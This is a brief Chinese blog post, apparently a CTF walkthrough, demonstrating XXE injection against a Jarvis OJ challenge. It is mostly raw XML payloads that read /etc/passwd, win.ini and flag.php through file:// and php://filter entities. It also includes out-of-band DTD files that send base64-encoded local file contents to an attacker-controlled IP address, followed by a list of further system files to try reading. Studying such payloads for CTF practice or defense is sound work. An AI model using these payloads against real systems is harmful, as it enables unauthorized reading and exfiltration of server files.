http://web.jarvisoj.com:9882/
#实例演示一道CTF题目
#目的是获取/home/ctf/flag.txt的内容
要先修改Content-Type: application/xml
然后加入xml脚本即可
<!DOCTYPE foo [<!ENTITY test SYSTEM "file:///etc/passwd" >]><foo>&test;</foo>
![](https://img.haomeiwen.com/i17716535/2f8824e87c3593cc.jpg)
jianshu1.jpg
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe1 [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><name>&xxe;</name></root>
<!DOCTYPE foo [<!ENTITY test SYSTEM "file:///etc/passwd" >]><foo>&test;</foo>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "66666666666666666666">]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]> #ctf读取文件
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://120.xx.xx.xx/webshella1231b/b.dtd" >
%xxe;]>
<foo>&b;</foo>
<!ENTITY b SYSTEM "file:///etc/passwd">
#burp发送的数据包
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://120.27.xx.xx/webshella1231b/payload3.dtd">
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
#dtd文件内容
<!ENTITY % file SYSTEM php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://120.27.xx.xx/webshella1231b/?%file;'>">
%all;
发送的burp数据包
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://120.27.xx.xx/webshella1231b/payload2.dtd">
%remote;%int;%send;
]>
#dtd文件内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/phpStudy/WWW/robots.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://120.27.xx.xx/webshella1231b/?%file;'>">
尝试读取
/etc/network/interfaces
/proc/net/arp
/etc/host 文件
网友评论